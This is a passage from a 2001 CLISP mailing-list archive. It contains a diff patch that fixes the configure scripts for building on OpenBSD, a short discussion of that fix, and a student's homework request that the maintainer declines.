happen to have OpenBSD machines handy for testing.:-| -- William Harold Newman "Furious activity is no substitute for understanding." -- H. H. Williams PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C --BOKacYhQ+x31HxR3 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: attachment; filename="clisp-2.27.patch" Content-Transfer-Encoding: 8bit diff -cr ./configure /usr/stuff/clisp-2.27/configure *** ./configure Wed Nov 28 15:16:10 2001 --- /usr/stuff/clisp-2.27/configure Tue May 8 09:09:59 2001 *************** *** 213,219 **** srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'` test -n "$srcfile_dirname" || srcfile_dirname='/' srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'` ! srcfile_absdirname=`cd "$srcfile_dirname" > /dev/null; pwd` if ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null; then : else --- 213,219 ---- srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'` test -n "$srcfile_dirname" || srcfile_dirname='/' srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'` ! srcfile_absdirname=`cd "$srcfile_dirname"; pwd` if ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null; then : else *************** *** 238,244 **** echo "$0: srcdir: ($srcdir) nonexistent" 1>&2 exit 1 fi ! ABS_SRCDIR=`cd "$srcdir" > /dev/null; pwd` if [ "$DIRNAME" = "" ] ; then DIRNAME='.' fi --- 238,244 ---- echo "$0: srcdir: ($srcdir) nonexistent" 1>&2 exit 1 fi ! ABS_SRCDIR=`cd "$srcdir"; pwd` if [ "$DIRNAME" = "" ] ; then DIRNAME='.' fi *************** *** 249,262 **** else if test -f ./ANNOUNCE -a -f ./SUMMARY; then srcdir='.' ! ABS_SRCDIR=`cd "$srcdir" > /dev/null; pwd` if [ "$DIRNAME" = "" ] ; then DIRNAME=src fi else if test -f ../ANNOUNCE -a -f ../SUMMARY; then srcdir='..' ! ABS_SRCDIR=`cd "$srcdir" > /dev/null; pwd` if [ "$DIRNAME" = "" ] ; then DIRNAME='.' fi --- 249,262 ---- else if test -f ./ANNOUNCE -a -f ./SUMMARY; then srcdir='.' ! ABS_SRCDIR=`cd "$srcdir"; pwd` if [ "$DIRNAME" = "" ] ; then DIRNAME=src fi else if test -f ../ANNOUNCE -a -f ../SUMMARY; then srcdir='..' ! ABS_SRCDIR=`cd "$srcdir"; pwd` if [ "$DIRNAME" = "" ] ; then DIRNAME='.' fi *************** *** 268,287 **** if [ ! -d $DIRNAME ] ; then mkdir $DIRNAME fi ! if ! test `cd "$DIRNAME"/.. > /dev/null; $ABSPATHPWD` = \ ! `cd "$srcdir" > /dev/null; $ABSPATHPWD` ; ! then REL_SRCDIR='..' else REL_SRCDIR="$ABS_SRCDIR" fi fi ! ABS_DIRNAME=`cd "$DIRNAME" > /dev/null; pwd` ! if ! test `cd "$DIRNAME" > /dev/null; $ABSPATHPWD` = \ ! `cd "$srcdir"/src > /dev/null; $ABSPATHPWD` ; ! then INPLACE=yes fi case "$REL_SRCDIR" in --- 268,281 ---- if [ ! -d $DIRNAME ] ; then mkdir $DIRNAME fi ! if test `cd "$DIRNAME"/..; $ABSPATHPWD` = `cd "$srcdir"; $ABSPATHPWD` ; then REL_SRCDIR='..' else REL_SRCDIR="$ABS_SRCDIR" fi fi ! ABS_DIRNAME=`cd "$DIRNAME"; pwd` ! if test `cd "$DIRNAME"; $ABSPATHPWD` = `cd "$srcdir"/src; $ABSPATHPWD` ; then INPLACE=yes fi case "$REL_SRCDIR" in *************** *** 350,362 **** # Create subdirectories for the modules parts, and fill them. # The modules outright assumes that $(srcdir)='.', hence all files need to # be linked over. ! #for subdir in `cd modules > /dev/null ; find . -type d -print` #do # if [ ! -d $ABS_DIRNAME/$f ] ; then # mkdir $ABS_DIRNAME/$f # fi #done ! #for f in `cd modules > /dev/null; find . '!' -type d -print` #do # rm -f $ABS_DIRNAME/$f # link $f $ABS_DIRNAME/$f --- 344,356 ---- # Create subdirectories for the modules parts, and fill them. # The modules outright assumes that $(srcdir)='.', hence all files need to # be linked over. ! #for subdir in `cd modules ; find . -type d -print` #do # if [ ! -d $ABS_DIRNAME/$f ] ; then # mkdir $ABS_DIRNAME/$f # fi #done ! #for f in `cd modules ; find . '!' -type d -print` #do # rm -f $ABS_DIRNAME/$f # link $f $ABS_DIRNAME/$f *************** *** 557,559 **** --- 551,554 ---- cd .. fi + Only in .: configure~ Only in ./src: ANNOUNCE Only in ./src: CLOS-guide.txt Only in ./src: COPYRIGHT Only in ./src: GNU-GPL Only in ./src: LISP-tutorial.txt Only in ./src: MAGIC.add Only in ./src: Makefile Only in ./src: README Only in ./src: README.de Only in ./src: README.es Only in ./src: SUMMARY Only in ./src: ansidecl Only in ./src: ari80386.c Only in ./src: ari80386.o Only in ./src: ari80386.s Only in ./src: aridecl.c Only in ./src: arilev0.c Only in ./src: arilev1.c Only in ./src: arilev1c.c Only in ./src: arilev1e.c Only in ./src: arilev1i.c Only in ./src: array.c Only in ./src: array.o Only in ./src: avcall Only in ./src: avcall.h Only in ./src: avl.c Only in ./src: backquote.fas Only in ./src: backquote.lib Only in ./src: base Only in ./src: beossock.fas Only in ./src: beossock.lib Only in ./src: bindings Only in ./src: bytecode.c Only in ./src: callback Only in ./src: callback.h Only in ./src: ccmp2c Only in ./src: charset.alias Only in ./src: charstrg.c Only in ./src: charstrg.o Only in ./src: clhs.fas Only in ./src: clhs.lib Only in ./src: clisp-link Only in ./src: clisp.1 Only in ./src: clisp.c Only in ./src: clisp.dvi Only in ./src: clisp.h Only in ./src: clisp.html Only in ./src: clos.fas Only in ./src: clos.lib Only in ./src: clreadline.3 Only in ./src: clreadline.dvi Only in ./src: clreadline.html Only in ./src: clx Only in ./src: cmacros.fas Only in ./src: cmacros.lib Only in ./src: comment5 Only in ./src: compelem.c Only in ./src: compiler.fas Only in ./src: compiler.lib Only in ./src: complete.fas Only in ./src: complete.lib Only in ./src: comptran.c Only in ./src: condition.fas Only in ./src: condition.lib Only in ./src: config.cache Only in ./src: config.fas Only in ./src: config.lib diff -cr ./src/config.lisp /usr/stuff/clisp-2.27/src/config.lisp *** ./src/config.lisp Wed Nov 28 15:21:31 2001 --- /usr/stuff/clisp-2.27/src/config.lisp Tue Mar 27 18:13:19 2001 *************** *** 4,44 **** ;;; DEUTSCH: Funktionen, die beim Transportieren zu ändern sind ;;; FRANCAIS: Fonctions dépendantes de l'installation ! (in-package "EXT") (mapcar #'fmakunbound '(short-site-name long-site-name)) ! (defun short-site-name () (or (sys::getenv "ORGANIZATION") "edit config.lisp")) ! (defun long-site-name () (or (sys::getenv "ORGANIZATION") "edit config.lisp")) ;; ENGLISH: The name of the editor: ;; DEUTSCH: Der Name des Editors: ;; FRANCAIS: Nom de l'éditeur : ! (defparameter *editor* "vi") (defun editor-name () (or (sys::getenv "EDITOR") *editor*)) ;; ENGLISH: (edit-file file) edits a file. ;; DEUTSCH: (edit-file file) editiert eine Datei. ;; FRANCAIS: (edit-file file) permet l'édition d'un fichier. (defun edit-file (file) ! (open file :direction :probe :if-does-not-exist :create) ! (shell (format nil "~A ~A" (editor-name) (truename file))) ) ! ;; ENGLISH: The temporary file LISP creates for editing: ! ;; DEUTSCH: Das temporäre File, das LISP beim Editieren anlegt: ! ;; FRANCAIS: Fichier temporaire créé par LISP pour l'édition : ! (defun editor-tempfile () ! (merge-pathnames "lisptemp.lisp" (user-homedir-pathname)) ) ! ;; ENGLISH: The list of directories where programs are searched on LOAD etc.: ;; DEUTSCH: Die Liste von Directories, in denen Programme bei LOAD etc. gesucht ! ;; werden: ! ;; FRANCAIS: Liste de répertoires où chercher un fichier programme: (defparameter *load-paths* ! '(#"./" ; in the current directory ! "~/lisp/**/" ; in all directories below $HOME/lisp ! ) ) ;; ENGLISH: This makes screen output prettier: ;; DEUTSCH: Dadurch sehen Bildschirmausgaben besser aus: --- 4,80 ---- ;;; DEUTSCH: Funktionen, die beim Transportieren zu ändern sind ;;; FRANCAIS: Fonctions dépendantes de l'installation ! (in-package "COMMON-LISP") (mapcar #'fmakunbound '(short-site-name long-site-name)) ! (in-package "EXT") ! ! (defun short-site-name () ! (let ((s (or ! (system::registry "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" ! "RegisteredOrganization" ! ) ! (system::registry "SOFTWARE\\Microsoft\\Windows\\CurrentVersion" ! "RegisteredOrganization" ! ) ! )) ) ! (check-type s string) ! s ! ) ) ! (defun long-site-name () ! (let ((s (or ! (system::registry "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" ! "RegisteredOwner" ! ) ! (system::registry "SOFTWARE\\Microsoft\\Windows\\CurrentVersion" ! "RegisteredOwner" ! ) ! )) ) ! (check-type s string) ! s ! ) ) ;; ENGLISH: The name of the editor: ;; DEUTSCH: Der Name des Editors: ;; FRANCAIS: Nom de l'éditeur : ! (defparameter *editor* "notepad.exe") (defun editor-name () (or (sys::getenv "EDITOR") *editor*)) + ;; ENGLISH: The temporary file LISP creates for editing: + ;; DEUTSCH: Das temporäre File, das LISP beim Editieren anlegt: + ;; FRANCAIS: Fichier temporaire créé par LISP pour l'édition : + (defun editor-tempfile () + "lisptemp.lisp" + ) + ;; ENGLISH: (edit-file file) edits a file. ;; DEUTSCH: (edit-file file) editiert eine Datei. ;; FRANCAIS: (edit-file file) permet l'édition d'un fichier. (defun edit-file (file) ! (execute (editor-name) (namestring file t)) ) ! ;; ENGLISH: Treat Ctrl-Z in files as whitespace. Some losing middle-age ! ;; editors insist on appending this to files. ! ;; DEUTSCH: Behandle Ctrl-Z in Dateien als Leerstelle. Einige dumme ! ;; Steinzeit-Editoren bestehen darauf, das an Dateien anzuhängen. ! ;; FRANCAIS: Traite Ctrl-Z dans les fichiers comme un espace. Quelques ! ;; éditeurs du moyen age n'arrêtent pas d'ajouter cela aux fichiers. ! (eval-when (load eval compile) ! (set-syntax-from-char #\Code26 #\Space) ) ! ;; ENGLISH: The list of directories where programs are searched on LOAD etc. ! ;; if device and directory are unspecified: ;; DEUTSCH: Die Liste von Directories, in denen Programme bei LOAD etc. gesucht ! ;; werden, wenn dabei Laufwerk und Directory nicht angegeben ist: ! ;; FRANCAIS: Liste de répertoires où chercher un fichier lorsqu'un répertoire ! ;; particulier n'est pas indiqué : (defparameter *load-paths* ! '(#"C:" ; erst im Current-Directory von Laufwerk C: ! #"C:\\CLISP\\...\\" ; dann in allen Directories unterhalb C:\CLISP ! ) ! ) ;; ENGLISH: This makes screen output prettier: ;; DEUTSCH: Dadurch sehen Bildschirmausgaben besser aus: *************** *** 51,57 **** "This returns the root URL for the Common Lisp HyperSpec. You can set the environment variable `CLHSROOT' or redefine this function in ~/.clisprc. On win32 you can also use the Registry." ! (or (sys::getenv "CLHSROOT") *clhs-root-default*)) ! (setq *clhs-root-default* ! ;; was "http://www.lisp.org/HyperSpec/" ! "file:/usr/stuff/HyperSpec/") --- 87,95 ---- "This returns the root URL for the Common Lisp HyperSpec. You can set the environment variable `CLHSROOT' or redefine this function in ~/.clisprc. On win32 you can also use the Registry." ! (or (sys::getenv "CLHSROOT") ! (let ((s (system::registry "SOFTWARE\\GNU\\CLISP" "CLHSROOT"))) ! (check-type s (or null string)) ! s) ! *clhs-root-default*)) ! (setq *clhs-root-default* "http://www.lisp.org/HyperSpec/") Only in ./src: config.lisp~ Only in ./src: config.log Only in ./src: config.status Only in ./src: constobj.c Only in ./src: constpack.c Only in ./src: constsym.c Only in ./src: control.c Only in ./src: control.o Only in ./src: data Only in ./src: debug.c Only in ./src: debug.o Only in ./src: defmacro.fas Only in ./src: defmacro.lib Only in ./src: defs1.fas Only in ./src: defs1.lib Only in ./src: defs2.fas Only in ./src: defs2.lib Only in ./src: defseq.fas Only in ./src: defseq.lib Only in ./src: defstruct.fas Only in ./src: defstruct.lib Only in ./src: describe.fas Only in ./src: describe.lib Only in ./src: dfloat.c Only in ./src: disassem.fas Only in ./src: disassem.lib Only in ./src: dribble.fas Only in ./src: dribble.lib Only in ./src: dutch.fas Only in ./src: dutch.lib Only in ./src: edit.fas Only in ./src: edit.lib Only in ./src: editors.txt Only in ./src: encoding.c Only in ./src: encoding.o Only in ./src: error.c Only in ./src: error.o Only in ./src: errunix.c Only in ./src: eval.c Only in ./src: eval.o Only in ./src: ffloat.c Only in ./src: flo_konv.c Only in ./src: flo_rest.c Only in ./src: floatprint.fas Only in ./src: floatprint.lib Only in ./src: foreign.c Only in ./src: foreign.o Only in ./src: foreign1.fas Only in ./src: foreign1.lib Only in ./src: format.fas Only in ./src: format.lib Only in ./src: french.fas Only in ./src: french.lib Only in ./src: fsubr.c Only in ./src: full Only in ./src: genclisph.c Only in ./src: genclisph.o Only in ./src: german.fas Only in ./src: german.lib Only in ./src/gettext: config.h Only in ./src/gettext: config.log Only in ./src/gettext: config.status Only in ./src/gettext/intl: Makefile Only in ./src/gettext/intl: bindtextdom.o Only in ./src/gettext/intl: charset.alias Only in ./src/gettext/intl: dcgettext.o Only in ./src/gettext/intl: dcigettext.o Only in ./src/gettext/intl: dcngettext.o Only in ./src/gettext/intl: dgettext.o Only in ./src/gettext/intl: dngettext.o Only in ./src/gettext/intl: explodename.o Only in ./src/gettext/intl: finddomain.o Only in ./src/gettext/intl: gettext.o Only in ./src/gettext/intl: intl-compat.o Only in ./src/gettext/intl: l10nflist.o Only in ./src/gettext/intl: libintl.a Only in ./src/gettext/intl: libintl.h Only in ./src/gettext/intl: loadmsgcat.o Only in ./src/gettext/intl: localcharset.o Only in ./src/gettext/intl: localealias.o Only in ./src/gettext/intl: ngettext.o Only in ./src/gettext/intl: plural.o Only in ./src/gettext/intl: ref-add.sed Only in ./src/gettext/intl: ref-del.sed Only in ./src/gettext/intl: textdomain.o Only in ./src/gettext/po: Makefile Only in ./src/gettext: stamp-h Only in ./src: gray.fas Only in ./src: gray.lib Only in ./src: gstream.fas Only in ./src: gstream.lib Only in ./src: halfcompiled.mem Only in ./src: hashtabl.c Only in ./src: hashtabl.o Only in ./src: iconv.h Only in ./src: impnotes.html Only in ./src: init.fas Only in ./src: init.lib Only in ./src: inspect.fas Only in ./src: inspect.lib Only in ./src: int2adic.c Only in ./src: intbyte.c Only in ./src: intcomp.c Only in ./src: intdiv.c Only in ./src: intelem.c Only in ./src: interpreted.mem Only in ./src: intgcd.c Only in ./src: intlog.c Only in ./src: intmal.c Only in ./src: intparam.h Only in ./src: intplus.c Only in ./src: intprint.c Only in ./src: intread.c Only in ./src: intsqrt.c Only in ./src: io.c Only in ./src: io.o Only in ./src: keyboard.fas Only in ./src: keyboard.lib Only in ./src: lfloat.c Only in ./src: libavcall.a Only in ./src: libavcall.la Only in ./src: libcallback.a Only in ./src: libcallback.la Only in ./src: libcharset.a Only in ./src: libcharset.h Only in ./src: libcharset.la Only in ./src: libiconv Only in ./src: libiconv.a Only in ./src: libiconv.la Only in ./src: libintl.a Only in ./src: libintl.h Only in ./src: libnoreadline.a Only in ./src: libreadline.a Only in ./src: libsigsegv.a Only in ./src: libsigsegv.la Only in ./src: linkkit Only in ./src: lisp.a Only in ./src: lisp.run Only in ./src: lisparit.c Only in ./src: lisparit.o Only in ./src: lispbibl.c Only in ./src: lispinit.mem Only in ./src: list.c Only in ./src: list.o diff -cr ./src/lndir /usr/stuff/clisp-2.27/src/lndir *** ./src/lndir Wed Nov 28 15:16:40 2001 --- /usr/stuff/clisp-2.27/src/lndir Mon Apr 3 09:53:54 2000 *************** *** 31,37 **** srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'` test -n "$srcfile_dirname" || srcfile_dirname='/' srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'` ! srcfile_absdirname=`cd "$srcfile_dirname" > /dev/null; pwd` ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null || ln "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null || cp -p "$srcfile_absdirname/$srcfile_basename" "$2" --- 31,37 ---- srcfile_dirname=`echo "$1" | sed -e 's,/[^/]*$,,'` test -n "$srcfile_dirname" || srcfile_dirname='/' srcfile_basename=`echo "$1" | sed -e 's,^.*/,,'` ! srcfile_absdirname=`cd "$srcfile_dirname"; pwd` ln -s "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null || ln "$srcfile_absdirname/$srcfile_basename" "$2" 2>/dev/null || cp -p "$srcfile_absdirname/$srcfile_basename" "$2" *************** *** 72,83 **** mkdirparent "$DST" ! for f in `cd "$SRC" > /dev/null; find . -type d -print`; do dir="$DST"`echo "$f" | sed -e 's,^\.,,'`; test -d "${dir}" || mkdir "${dir}" done ! for f in `cd "$SRC" > /dev/null ; find . -type f -print`; do f=`echo "$f" | sed -e 's,^\./,,'` link "$SRC"/"$f" "$DST"/"$f" done --- 72,83 ---- mkdirparent "$DST" ! for f in `cd "$SRC" ; find . -type d -print`; do dir="$DST"`echo "$f" | sed -e 's,^\.,,'`; test -d "${dir}" || mkdir "${dir}" done ! for f in `cd "$SRC" ; find . -type f -print`; do f=`echo "$f" | sed -e 's,^\./,,'` link "$SRC"/"$f" "$DST"/"$f" done Only in ./src: lndir~ Only in ./src: locale Only in ./src: loop.fas Only in ./src: loop.lib Only in ./src: macros1.fas Only in ./src: macros1.lib Only in ./src: macros2.fas Only in ./src: macros2.lib Only in ./src: macros3.fas Only in ./src: macros3.lib Only in ./src: makemake Only in ./src: makevars Only in ./src: misc.c Only in ./src: misc.o Only in ./src: modprep Only in ./src: modules.c Only in ./src: modules.o Only in ./src: noreadline.c Only in ./src: noreadline.o Only in ./src: package.c Only in ./src: package.o Only in ./src: pathname.c Only in ./src: pathname.o Only in ./src: places.fas Only in ./src: places.lib Only in ./src: postgresql632 Only in ./src: postgresql642 Only in ./src: predtype.c Only in ./src: predtype.o Only in ./src: pseudofun.c Only in ./src: queens Only in ./src: query.fas Only in ./src: query.lib Only in ./src: rational.c Only in ./src/readline: Makefile Only in ./src/readline: bind.o Only in ./src/readline: callback.o Only in ./src/readline: complete.o Only in ./src/readline: config.cache Only in ./src/readline: config.h Only in ./src/readline: config.log Only in ./src/readline: config.status Only in ./src/readline: display.o Only in ./src/readline/examples: Makefile Only in ./src/readline: funmap.o Only in ./src/readline: histexpand.o Only in ./src/readline: histfile.o Only in ./src/readline: history.o Only in ./src/readline: histsearch.o Only in ./src/readline: input.o Only in ./src/readline: isearch.o Only in ./src/readline: keymaps.o Only in ./src/readline: kill.o Only in ./src/readline: libhistory.a Only in ./src/readline: libreadline.a Only in ./src/readline: macro.o Only in ./src/readline: nls.o Only in ./src/readline: parens.o Only in ./src/readline: readline.o Only in ./src/readline: rltty.o Only in ./src/readline: search.o Only in ./src/readline: shell.o Only in ./src/readline/shlib: Makefile Only in ./src/readline: signals.o Only in ./src/readline: stamp-h Only in ./src/readline: terminal.o Only in ./src/readline: testUTF8.o Only in ./src/readline: tilde.o Only in ./src/readline: undo.o Only in ./src/readline: util.o Only in ./src/readline: vi_mode.o Only in ./src/readline: xmalloc.o Only in ./src: readline.dvi Only in ./src: realelem.c Only in ./src: realrand.c Only in ./src: realtran.c Only in ./src: record.c Only in ./src: record.o Only in ./src: regexp Only in ./src: reploop.fas Only in ./src: reploop.lib Only in ./src: room.fas Only in ./src: room.lib Only in ./src: runprog.fas Only in ./src: runprog.lib Only in ./src: savemem.fas Only in ./src: savemem.lib Only in ./src: screen.fas Only in ./src: screen.lib Only in ./src: sequence.c Only in ./src: sequence.o Only in ./src: sfloat.c Only in ./src: sigsegv Only in ./src: sigsegv.h Only in ./src: socket.c Only in ./src: socket.o Only in ./src: sort.c Only in ./src: spanish.fas Only in ./src: spanish.lib Only in ./src: spvw.c Only in ./src: spvw.o Only in ./src: spvw_alloca.c Only in ./src: spvw_allocate.c Only in ./src: spvw_circ.c Only in ./src: spvw_ctype.c Only in ./src: spvw_debug.c Only in ./src: spvw_fault.c Only in ./src: spvw_garcol.c Only in ./src: spvw_gcstat.c Only in ./src: spvw_genera1.c Only in ./src: spvw_genera2.c Only in ./src: spvw_genera3.c Only in ./src: spvw_global.c Only in ./src: spvw_heap.c Only in ./src: spvw_language.c Only in ./src: spvw_mark.c Only in ./src: spvw_memfile.c Only in ./src: spvw_mmap.c Only in ./src: spvw_module.c Only in ./src: spvw_multimap.c Only in ./src: spvw_objsize.c Only in ./src: spvw_page.c Only in ./src: spvw_sigcld.c Only in ./src: spvw_sigint.c Only in ./src: spvw_sigpipe.c Only in ./src: spvw_sigsegv.c Only in ./src: spvw_sigwinch.c Only in ./src: spvw_singlemap.c Only in ./src: spvw_space.c Only in ./src: spvw_typealloc.c Only in ./src: spvw_update.c Only in ./src: spvw_walk.c Only in ./src: spvwtabf.c Only in ./src: spvwtabf.o Only in ./src: spvwtabo.c Only in ./src: spvwtabo.o Only in ./src: spvwtabs.c Only in ./src: spvwtabs.o Only in ./src: stage Only in ./src: stdbool.h Only in ./src: stream.c Only in ./src: stream.o Only in ./src: subr.c Only in ./src: subrkw.c Only in ./src: suite Only in ./src: symbol.c Only in ./src: symbol.o Only in ./src: threads.fas Only in ./src: threads.lib Only in ./src: time.c Only in ./src: time.o Only in ./src: timezone.fas Only in ./src: timezone.lib Only in ./src: trace.fas Only in ./src: trace.lib Only in ./src: trampoline_r.h Only in ./src: txt2c Only in ./src: type.fas Only in ./src: type.lib Only in ./src: unix.c Only in ./src: unixaux.c Only in ./src: unixaux.o Only in ./src: unixconf.h Only in ./src: vacall_r.h Only in ./src: varbrace Only in ./src: wildcard Only in ./src: xcharin.fas Only in ./src: xcharin.lib Only in ./src: xthread.c --BOKacYhQ+x31HxR3-- From johs@bzzzt.fix.no Wed Nov 28 14:35:35 2001 Received: from bzzzt.fix.no ([212.71.72.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 169DIj-0004Jj-00 for ; Wed, 28 Nov 2001 14:35:33 -0800 Received: from johs by bzzzt.fix.no with local (Exim 3.22 #1) id 169DIp-000EKj-00; Wed, 28 Nov 2001 23:35:39 +0100 To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] building CLISP on OpenBSD References: <20011128154319.B30912@rootless> Organization: Copyleft Software AS From: johs@copyleft.no (Johannes =?iso-8859-15?q?Gr=F8dem?=) In-Reply-To: <20011128154319.B30912@rootless> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 28 14:36:02 2001 X-Original-Date: 28 Nov 2001 23:35:39 +0100 * William Harold Newman : > canonical_filename=`cd $foo; pwd` Um. Why not just do cd $foo # With a &>/dev/null here, if it's really important. and then canonical_filename=`pwd` ? -- Johannes Grødem From samuel.steingold@verizon.net Wed Nov 28 14:59:16 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 169Dff-0007HS-00 for ; Wed, 28 Nov 2001 14:59:15 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA17909; Wed, 28 Nov 2001 17:59:07 -0500 (EST) X-Envelope-To: To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] building CLISP on OpenBSD References: <20011128154319.B30912@rootless> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011128154319.B30912@rootless> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 28 15:00:02 2001 X-Original-Date: 28 Nov 2001 17:57:49 -0500 > * In message <20011128154319.B30912@rootless> > * On the subject of "[clisp-list] building CLISP on OpenBSD" > * Sent on Wed, 28 Nov 2001 15:43:19 -0600 > * Honorable William Harold Newman writes: > > A long time ago I reported that I couldn't get CLISP to build on > OpenBSD. I've now figured out the problem. Thanks! > The basic problem is that the "sh" builtin command "cd" sometimes > emits output, ouch! I committed a patch based on your suggestions. please get the latest CVS sources and try building CLISP! Thanks for your help - I hope you will get CLISP to bootstrap SBCL, finally! -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From mmsenda@yahoo.com Tue Dec 04 09:06:04 2001 Received: from web12104.mail.yahoo.com ([216.136.172.24]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16BJ19-0000Ec-00 for ; Tue, 04 Dec 2001 09:06:03 -0800 Message-ID: <20011204170603.25604.qmail@web12104.mail.yahoo.com> Received: from [63.170.182.2] by web12104.mail.yahoo.com via HTTP; Tue, 04 Dec 2001 09:06:03 PST From: Moses Masenda To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] help!!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 4 09:07:02 2001 X-Original-Date: Tue, 4 Dec 2001 09:06:03 -0800 (PST) Can somebody help me with this program? I would appreciate it very much: Description For this homework, you will need to download the Lisp example program “GENETIC.CL” from http://www.cs.washington.edu/research/metip/eaicl2.html. All of your work should be done in this file. While your work may be written and tested on any machine using any Common Lisp, your program must load and run successfully in CLISP on a CS UNIX machine for complete credit. 1. Write a new mutation (mutate3) that randomly selects a position between 0 and 4 in the chromosome and then rotates all of the cities to the RIGHT (not left, as the handout originally stated) of the position. Position 0 is before the first city, position 1 is between city 1 and city 2, and so on. For example, if you had the following chromosome: (portland spokane portland wenatchee spokane) and you randomly chose position two (between spokane and portland), then the mutation would be: (portland spokane wenatchee spokane portland) . 2. Write a new crossover (crossover2) that randomly selects a position (x) between 0 and 4 in the chromosome and a length (y) between 1 and (5 – x), then replaces the y cities starting at position x in chromosome B with the corresponding cities in chromosome A. For example, if you had the following chromosomes: A (portland spokane portland wenatchee spokane) B (seattle portland wenatchee bellingham wenatchee) and you randomly chose position two (between spokane and portland) and length two, then the mutation would be: (seattle portland portland wenatchee wenatchee) 3. Modify the code so that the new mutation and the new crossover are considered along with the existing two mutations and the one original crossover. ===== Moses Do not forget to entertain strangers, for by so doing some people have entertained angels without knowing it. -- Hebrews 13:2 http://masenda.isbad.net -> Check my website here __________________________________________________ Do You Yahoo!? Buy the perfect holiday gifts at Yahoo! Shopping. http://shopping.yahoo.com From samuel.steingold@verizon.net Tue Dec 04 10:30:12 2001 Received: from mtapop4pub.gte.net ([206.46.170.37] helo=mtapop4pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16BKKY-0002WI-00 for ; Tue, 04 Dec 2001 10:30:10 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by mtapop4pub.verizon.net with ESMTP ; id MAA14746427 Tue, 4 Dec 2001 12:30:01 -0600 (CST) To: Moses Masenda Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help!!! References: <20011204170603.25604.qmail@web12104.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011204170603.25604.qmail@web12104.mail.yahoo.com> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 4 10:31:02 2001 X-Original-Date: 04 Dec 2001 13:29:57 -0500 > * In message <20011204170603.25604.qmail@web12104.mail.yahoo.com> > * On the subject of "[clisp-list] help!!!" > * Sent on Tue, 4 Dec 2001 09:06:03 -0800 (PST) > * Honorable Moses Masenda writes: > > Can somebody help me with this program? no. we do _not_ do you homework. if you have specific problems with CLISP, we will certainly help. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! I'd give my right arm to be ambidextrous. From dan@syzygyx.com Mon Dec 10 13:48:35 2001 Received: from dnvrpop8.dnvr.uswest.net ([206.196.128.10]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16DYHq-0006Q1-00 for ; Mon, 10 Dec 2001 13:48:34 -0800 Received: (qmail 46417 invoked by uid 0); 10 Dec 2001 21:48:32 -0000 Received: from dnvr-dsl-gw29-poola2.dnvr.uswest.net (HELO cube.syzygyx.com) 